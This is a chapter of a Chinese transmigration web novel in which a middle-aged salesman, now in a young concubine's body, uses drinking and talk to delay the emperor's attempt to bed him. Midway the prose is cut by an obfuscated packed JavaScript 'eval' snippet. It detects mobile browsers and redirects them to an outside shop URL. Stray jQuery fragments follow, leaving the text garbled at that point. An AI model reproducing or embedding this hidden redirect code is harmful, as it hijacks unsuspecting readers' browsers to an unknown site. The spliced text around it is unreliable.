皇帝的病养了七八天。
这七八天里，老梁在那处偏殿里过得像坐牢。没人来宣他，也没人放他出去，每日三餐有人送，太医院的人按时来请脉、留下些温补的药，宫女们伺候得周到，周到得像是在喂养一只待价而沽的牲口。老梁心里清楚，这是在养他的身子——养好了，好上那张床。
他也没闲着。这几天他把能打听的都打听了：这座宫城的格局，他住的这处偏殿在什么方位，皇帝起居的乾元殿离这儿多远，文馨的住处又在哪一头。他还摸清了伺候他的几个宫女里，哪个嘴严，哪个话多，哪个是真心当差、哪个眼睛里藏着别的主子。这是他的老本行——进了一个新地方，先把人和地形吃透，比什么都要紧。
第八天傍晚，风向变了。
来宣旨的还是那个面善的内侍。他进门时脸上的笑比上回更深了几分，那笑里有一种老梁太熟悉的东西——是知道你要交好运、提前来沾光的那种笑。
"恭喜婉清姑娘，"内侍打了个千儿，"皇上龙体大安，今夜……翻了姑娘的牌子。姑娘好生预备着，亥时前后，皇上的銮驾就到。"
老梁站在那儿，听见自己心里"咚"地一声。
来了。该来的，到底还是来了。
他面上不动，欠身谢了恩，目送内侍出去。门一关，他在床沿上坐下，深深吸了一口气，又缓缓吐出来。
那把架在脖子上的刀，挪了八天，今晚要落下来了。
宫女们来替他梳妆。
这一回比上回那个停了的夜晚还要郑重。先是热水沐浴，熏了香，然后是上妆，一层一层的脂粉往脸上扑，眉描了又描，唇点了又点，鬓边插戴，耳上垂珠。最后给他换上一身极轻薄的寝衣，那料子滑得像水，几乎兜不住什么，老梁低头看了一眼，臊得耳根发烫，又赶紧把那点情绪压下去。
他对着铜镜里那张被妆容衬得愈发明艳的、年轻女人的脸，在心里把今晚的仗，又从头到尾排了一遍。
他没有别的本钱。论身子，他是个刚小产、亏空着的妇人；论身份，他是个被夫家逐出、靠皇帝一时兴起才进了这宫门的人；论后台，他那个"娘"虽是娘娘，可在皇帝跟前也自身难保。他手里唯一的牌，是脑子，是那张嘴，是酒桌上磨出来的那点东西——还有一样，是文馨亲口告诉他的、这个皇帝心里那个没人填得上的窟窿。
文馨教他的是怎么"伺候"、怎么"顺从"、怎么"熬"。可老梁心里跟明镜似的：顺从是死路。他越顺，今晚这事越是要往那个方向去，而那个方向，是他这具身子、这个人，万万走不到的尽头。
他要走的是另一条路。他不能让今晚变成"侍寝"，他得把它变成别的东西——变成一场酒局，变成一场谈话，变成一桩让皇帝自己舍不得动手的事。
"梁志超，"他对着镜子里的人，无声地动了动嘴唇，"这辈子最难的一单，今晚。谈砸了，万劫不复。"
镜子里那张脸看着他，明艳，年轻，眼睛里却是一个四十七岁男人孤注一掷的沉。
亥时的梆子敲过，殿外传来了整齐的脚步声和内侍尖细的通传。
"皇上驾到——"
老梁站起身，垂下眼，按着这几天学来的规矩跪下去迎驾，心跳擂鼓一样，面上却平得像一潭深水。
永昌帝是带着酒意来的。
他一进来，老梁就闻见了那股酒气——不浓，是浅酌过、正在兴头上的那种。他挥退了所有人，殿门在身后阖上，偌大的内殿里，只剩下他们两个，和一桌不知什么时候已经摆好的、温在那里的酒。
老梁跪在地上，低着头，没敢先看他。他听见那双沉稳的脚步走过来，在他面前停下。
"抬起头来。"
声音是那晚后花园里的声音，平的，带着不容违逆的分量，此刻又裹了一层薄醉，愈发显得随性而危险。
老梁抬起头。
烛光下，他第一次看清了这张脸。三十许的年纪，眉骨高，眼尾微微上挑，那是一张本该英气逼人的脸，可眉宇之间盘着一股化不开的郁色，像是再多的酒也浇不散。这张脸在看他——和后花园那一晚一样，那目光落下来，先是男人看女人的打量，随即又浮起那一层熟悉的恍惚，像是要在他脸上找一个怎么也想不起来的人。
"是你。"永昌帝看了他半晌，忽然笑了一下，那笑里有几分自嘲，"朕病了这几日，闭上眼，总想起静和堂后园里的一张脸。太医说是心火，朕看，是中了邪。"
老梁垂下眼，做出一个受宠若惊又带着惶恐的样子："臣妾不敢。"
"起来吧。"永昌帝一摆手，自己先在桌边坐下，提起酒壶给自己斟了一杯，仰头饮尽，"陪朕喝酒。"
老梁心里那根弦"铮"地一响。
来了。机会来了，也是悬崖来了。
他依言起身，走到桌边，在永昌帝下首坐下。永昌帝又斟了一杯，推到他面前。
"喝。"
老梁看着那杯酒，没有推辞，也没有怯场。他端起来，仰头，一饮而尽，动作干脆利落，半点不拖泥带水。
永昌帝挑了挑眉。
他大概是没料到。一个刚进宫的、看着柔柔弱弱的小妇人，喝起酒来竟这样爽快，不扭捏，不告饶，干了就干了，连眉头都没皱一下。这与他见惯的那些浅啜一口便娇喘吁吁、生怕喝坏了妆容的妃嫔，全然不同。
"哦？"他来了点兴致，又给老梁满上，"看不出来，你还能喝。"
"回皇上，"老梁放下杯子，声音放得温软，话却说得稳，"臣妾在家时，父亲……"他顿了一下，迅速把那个不存在的设定补圆，"父亲爱喝两口，臣妾自小替他温酒、陪他说话，耳濡目染，便也沾了点酒量。算不得能喝，只是不至于一杯就倒，扫了皇上的兴。"
这话答得妙。既解释了酒量的来历，又把自己摆在一个"陪长辈喝酒、解长辈寂寞"的位置上——这是个伏笔，老梁要的就是这个位置：陪喝，解闷，而不是侍寝。
永昌帝听了，似乎很受用，哈哈一笑："好，好一个不扫朕的兴。来，再喝。"
两个人就这么喝起来。
头几巡，老梁是真的在拼酒量。
他得让永昌帝先服这一样——这个女人能跟他喝。他陪了那么多甲方，深知酒桌上的门道：你想跟一个人称兄道弟，先得证明你扛得住他的酒。喝趴下的，是孙子；喝不倒、还能稳稳跟你聊的，才有资格坐到他对面去。
所以他喝，一杯接一杯，面不改色。这具身子虽是小产之后亏着，可不知是不是婉清原本就有些底子，竟也扛得住。老梁一边喝，一边在心里盘算着分寸——既要喝得让皇帝觉得痛快、觉得遇上了对手，又不能真把自己灌晕了，那今晚就全完了。这是走钢丝，每一杯都得拿捏。
永昌帝越喝越高兴。他这辈子身边就没缺过酒，缺的是个能痛痛快快陪他喝的人。底下那些人，要么不敢放开了喝，要么喝两杯就开始说那些他听腻了的奉承话，没一个能让他喝得尽兴。眼前这个小妇人不一样，她喝得稳，话也不多，偶尔接一两句，接得还都在点子上。
喝着喝着，永昌帝的身子就往老梁这边歪过来了。
第一次是搭肩。他一只手臂搂上老梁的肩，半是亲昵半是借力，整个人的重量压过来一些，酒气喷在老梁的颈侧。
老梁浑身的汗毛"唰"地竖了起来。
一个大男人，搂着他的肩，把脸凑到他脖子边上——他这具身子是女人，可他这颗芯是个四十七岁的钢铁直男。那种被同性近距离搂抱、酒气糊脸的感觉，激得他从尾椎骨一路麻到后脑勺，五脏六腑都在叫嚣着要把这只手甩开、要往后退、要夺门而出。
可他不能。他脸上得维持着那副温顺承欢的样子，身子还得似拒还迎地、恰到好处地靠着——靠得太远，扫了皇帝的兴；靠得太近，又是另一重危险。他在心里把这个分寸捏得死死的，表面上却是一副小鸟依人的乖顺。
他端起酒杯，借着喝酒的动作，自然而然地直起了一点身子，避开了那张越凑越近的脸，然后顺势又给永昌帝斟了一杯，把那只搂着他的手，巧妙地引去握了酒杯。
"皇上，"他柔声道，"这壶要见底了，臣妾再替您换一壶热的。"
一句话，一个动作，把那只手从自己肩上解了下来。
永昌帝没察觉，接过酒杯又喝了，搂人的手却不死心，没过一会儿，又摸了过来，这一次是握住了老梁的手。
老梁的手被他攥在掌心里，那是一只男人的手，骨节分明，温热，带着薄茧。老梁低着头，看着自己那只被攥住的、纤白的手，心里五味杂陈，鸡皮疙瘩起了一层又一层，胃里翻江倒海。
他妈的。他在心里骂了一句。
他这辈子，握过的手不计其数——客户的，领导的，应酬桌上递过来的一只只或软或硬的手。可他从没想过，有朝一日，他会以这样一具身子，被一个大男人这样握着手，还得装出一副心甘情愿、甚至有几分欢喜的样子。
就在这翻江倒海里，老梁的脑子里，忽然"叮"地一下，划过一个念头。
这场面……怎么这么眼熟？
他想起来了。
那些个推不掉的酒局，那些个灯红酒绿的夜场。包厢里，沙发上，他和客户一边坐一个，中间夹着被叫来陪酒的姑娘。客户喝高了，搂着姑娘的肩，握着姑娘的手，往人耳朵边上吹酒气，说些荤素不忌的话。那些姑娘脸上堆着笑，一杯一杯地敬酒，被搂着，被揩着油，还得娇声细气地把客户哄高兴了——为的是那点台费，那点赏钱，那点能养活自己、或许还养活一家老小的辛苦钱。
那时候的他，坐在客户那一边。他端着酒杯，看着那些场面，心里偶尔会闪过一丝说不清的东西——是轻慢？是不屑？还是压根没把那当回事？他记不清了。他大概从没正眼把那些姑娘当成一个个活生生的人看过，她们在他眼里，是酒局的一部分，是谈生意的背景，是花了钱就该笑、就该陪、就该被搂被揩的物件。
而此刻。
此刻他坐到了那张椅子的另一边。
他成了那个被搂着、被握着手、被吹着酒气、还得赔着笑脸把对方哄高兴的人。他成了那个用一杯一杯酒、一句一句违心话，去换自己一条活路的人。他成了……那个陪酒的。
老梁端着酒杯的手，几不可察地抖了一下。
原来是这个滋味。
原来被人搂着肩、攥着手，心里却恶心得想吐、还得笑出来，是这个滋味。原来明明浑身每一根汗毛都在抗拒，脸上却要做出承欢的样子，是这个滋味。原来一个人为了活下去，把尊严揉碎了咽进肚子里、再吐出一串好听的话来，是这个滋味。
他这么多次，坐在那一边，从没懂过。
直到今天，他换了一具身子，坐到了这一边，才他妈的，懂了。
老梁心里那点对那些陪酒姑娘曾经有过的、连他自己都没察觉的轻慢，在这一刻，化成了一种迟来了多年的、酸涩的歉意。姑娘们，对不住。老梁端起杯子，借着给皇帝敬酒的由头，悄悄替那些他从前没正眼瞧过的人，也替此刻这副狼狈的自己，把那杯酒闷了下去。
人这一辈子，谁活着不是不容易呢。
这点苦中带涩的体悟，竟让他绷紧的心，松快了那么一丝。他想，行了，都不容易，那就更得把今晚这一单谈成了——为了他自己，也算替天下所有坐在这一边、强颜欢笑讨生活的人，争一回。
酒过了五巡，永昌帝的话开始多了，眼神也开始散了。
老梁知道，火候差不多了。前头的推杯换盏是为了"立信"——让皇帝认下他这个酒伴。接下来，才是真正的正题：他要从这个男人的醉态里，找到那个口子，把话递进他心里去。
机会很快来了。永昌帝喝着喝着，忽然没头没脑地叹了口气，望着杯中晃动的酒，喃喃道："没意思。"
老梁心里一动。
"皇上说什么没意思？"他轻声接道，语气是闲闲的，像是随口一问，没有半分刻意。
"都没意思。"永昌帝又灌了一口，醉眼朦胧地扫了一圈这空荡荡的、金碧辉煌的大殿，"这宫里，这天下，朕想要的，朕都有了。可朕这心里头，空得很。你说，这是为什么？"
这话若是搁在别的妃嫔那里，多半会慌忙跪下，说些"皇上励精图治、乃天下之福"的场面话。老梁没有。他知道，那样的话，正是把永昌帝越推越远的话。
他沉默了一会儿，没有立刻回答，反而又给永昌帝斟了一杯酒，然后才慢慢开口，声音不高，却字字清晰：
"臣妾斗胆，说句不该说的话。皇上心里空，许是因为——这满宫满朝的人，对着您的，都是那把龙椅，没几个是对着您这个人的。"
永昌帝端酒的手，停住了。
老梁没有停，他像是真喝多了、说顺了嘴，又像是终于找到一个能说真话的人，絮絮地往下说：
"他们怕您，敬您，捧您，可那都是冲着您是皇上。您说一句话，底下应承一片，可那些应承里头，有几句是真心？您写了诗，他们都说好，可他们当真读懂了您写的是什么、心里头装着什么吗？还是不过看您是天子，便胡乱叫一声好？"
殿里静了下来。只有烛火偶尔爆开一个灯花的轻响。
老梁能感觉到，永昌帝的目光，直直地钉在他脸上。
他没有抬头去对那道目光，只是继续，声音放得更轻，像是在说一件再寻常不过的事："皇上夜里一个人喝酒的时候，会不会觉得，这天下这么大，宫里这么多人，竟没一个，是能跟您说句掏心窝子的话的？您把谁都看在眼里，可谁，又真把您这个人，看在眼里呢？"
话音落下。
永昌帝久久没有说话。
老梁的心提到了嗓子眼。这是一步险棋——他赌的是，这个男人心里那个窟窿，已经空得太久、太深，深到他听见有人说中了，不会恼羞成怒，只会如遭雷击。他赌这个皇帝表面的桀骜底下，藏着一个渴望被人看见、渴望了太多年的、孤零零的人。
赌赢了，海阔天空。赌输了，"妄议君心"四个字，足够要他的命。
他垂着眼，等着那个判决
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900893|212941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
良久，他听见永昌帝低低地、像是从胸腔里挤出来的一声，又像是叹息，又像是笑。
"放肆。"永昌帝说。
可那两个字里，没有半分怒气。有的，是一种被人一把掀开了藏了很多年的盖子之后，那种又痛、又松、又茫然的东西。
老梁知道，他赌对了。
永昌帝忽然伸手，一把扣住了老梁的手腕，力气大得惊人，将他往自己这边一拉。
老梁猝不及防，整个人朝他倾过去，几乎要跌进他怀里。永昌帝另一只手已经揽上了他的腰，那张带着浓重酒气的脸，近在咫尺，眼睛里翻涌着一种被点燃了的、复杂的光——那里头有欲，有醉，更有一种找到了同类、再不肯放手的渴。
"你……"永昌帝的声音哑了，呼吸粗重，"你这个女人，怎么……怎么这么懂朕。"
他说着，揽着老梁腰的手收紧，头低下来，朝着老梁的脸，吻了过来。
老梁的脑子"嗡"地一声炸开。
到这儿了。最危险的一下，到这儿了。
千钧一发之间，他没有挣扎——挣扎是抗旨，是扫兴，是激出这个男人的另一面。他在那张脸贴近的最后一瞬，偏过头，让那个吻落在了自己的鬓发上，同时，他的眼泪，毫无预兆地，下来了。
不是装的。或者说，不全是装的。这一夜的惊惶、屈辱、孤注一掷的紧绷，被那张逼近的脸逼到了顶点，那点真实的、濒临崩溃的情绪，恰好化成了最合时宜的泪。
"皇上。"他带着哭腔，声音抖着，却不是抗拒的抖，是一种委屈又眷恋的抖，"皇上……您可怜可怜臣妾……"
永昌帝的动作，顿住了。
这一声哭，这一行泪，把他那点酒色之欲，浇下去了一半。他最受不得的，从来不是顺从或抗拒，是一个刚刚让他觉得"被懂了"的人，在他面前露出脆弱和委屈。那点找到同类的珍重，压过了情欲，让他舍不得再逼。
"你哭什么？"他松了些力道，皱着眉，醉意里带着几分手足无措，"朕又没……你这是怎么了？"
老梁等的就是这一句。
他抬起那张挂着泪、楚楚可怜的脸，看着永昌帝，把那张憋了一夜的、最硬的牌，轻轻打了出去：
"皇上，臣妾不是不愿侍奉您。臣妾……臣妾是个不干净的、刚……刚没了孩子的人。"
永昌帝一怔。
"太医说，"老梁低着头，眼泪一颗一颗往下掉，声音哀哀的，"小产伤身，比生产还重，须得静养百日，伤了根本。臣妾若是这会子……仓促侍奉了皇上，轻则臣妾这条贱命不要紧，重则……重则将来亏了身子，再不能为皇上诞下一儿半女。"
他抬起头，泪眼婆娑地望着永昌帝，每一个字都往那个"为你着想"的方向上送：
"臣妾好不容易遇着皇上，遇着这世上头一个肯听臣妾说话、肯把臣妾放在心上的人……臣妾舍不得，舍不得因着今夜一时，误了将来长远，误了……误了能给皇上开枝散叶的指望。臣妾求皇上，给臣妾三个月。三个月后，臣妾将养好了身子，干干净净、健健康康地，好好侍奉皇上，再不让皇上等。"
这番话，理、情、势，三样齐了。
理——小产静养百日，是医理，是铁律，谁也驳不倒。
情——她不是不愿，是怕亏了身子、不能给他生孩子，处处替他打算。
势——一个刚被她"懂"得心头滚烫、又被她哭得心软的男人，此刻满心都是怜惜，哪还狠得下心。
永昌帝盯着他那张哭花了的脸，看了很久很久。
殿里的烛火，明明灭灭。
终于，他长长地、像是泄了一口气似的，松开了揽着老梁的手，伸手，有些笨拙地，替他擦了擦脸上的泪。
"傻东西，"他的声音软了下来，那郁色深重的眉眼间，第一次有了一点近乎温柔的东西，"哭什么。朕是那种不顾人死活的昏君么。"
他坐回去，又给自己倒了一杯酒，却没喝，只是端着，望着杯中的影子，半晌，才闷闷地说：
"三个月就三个月。朕等得起。"
老梁悬了一整夜的心，"轰"地一下，落了地。
赢了。
这一单，谈成了。
那一夜，永昌帝没有碰他。
两个人就着那一桌酒，又喝又聊，从诗聊到江山，从年少聊到孤独。更多的时候是永昌帝在说，老梁在听——他这些年最大的本事，除了说，就是听，听一个人把心里堵着的东西，一点一点都倒出来。永昌帝说了很多，多到他自己后来大概都记不清说了些什么，只记得有这么一个人，安安静静地坐在他对面，听他说，懂他说，一句多余的奉承都没有。
后半夜，永昌帝喝得醉了，伏在桌上睡了过去。
老梁没有睡。他坐在那里，看着这个伏案而眠的男人。
烛光下，那张总是绷着、总是郁着的脸，睡着了，竟显出几分孩子气的、卸了防备的脆弱。老梁忽然想起白天文馨说的那些话——前朝宫斗，背叛，暗算，谁都信不过……这个男人爬到了这世上最高的位子，却把自己活成了一座孤岛。
他这一夜，是骗了这个男人。用酒，用话，用一具不属于他的身子，用一份"懂得"。可坐在这儿，看着这张睡着了的、孤独的脸，老梁心里那点得计的快意，竟生不出来。
取而代之的，是一种他没料到的、复杂的东西。
他想起自己。想起那个在公司里被榨干了的、回家没人搭理的、连穿越了都没人发现的中年男人梁志超。他这半辈子，何尝不是另一种意义上的孤岛？高处不胜寒的滋味，他没尝过；可那种"身边全是人、却没一个是真的"的滋味，他懂。他太懂了。
说到底，他和这个皇帝，是一路人。
都在各自的牢里，孤零零地，撑着。
老梁叹了口气，起身，找了件氅衣，轻轻给伏案而眠的永昌帝披上。
做这个动作的时候，他心里很清楚，这是骗局的一部分——一个体贴的、加深情分的姿态。可做着做着，他又觉得，这一下，好像也不全是骗。那点替这个孤独男人盖上衣裳的手，有那么一瞬，是真的，软了。
"哥们儿，"他在心里，对着这个比他年轻、却和他一样孤独的皇帝，无声地说了一句，"你我都不容易。这局，我陪你周旋，可我也是真有点……心疼你。"
窗外，天色不知何时已经泛起了一线灰白。这困了他一整夜的局，过去了。
可老梁知道，这只是头一关。三个月的期限，是他给自己挣来的喘息，也是悬在头顶的、新的倒计时。三个月后会怎样，那个一心想"懂"他、护他的皇帝，将来若知道"懂"他的是个什么人，又会怎样——这些，都还在后头。
他望着那线天光，把这些念头，连同满身的疲惫，一起压了下去。后头的事，后头再说。眼下天要亮了，伏在桌上那个人睡得正沉，殿外守了一夜的宫人还不敢进来，这一刻的安静，难得，他想多坐一会儿，就这么坐着，什么也不想，等那线灰白一点一点把窗纸染白。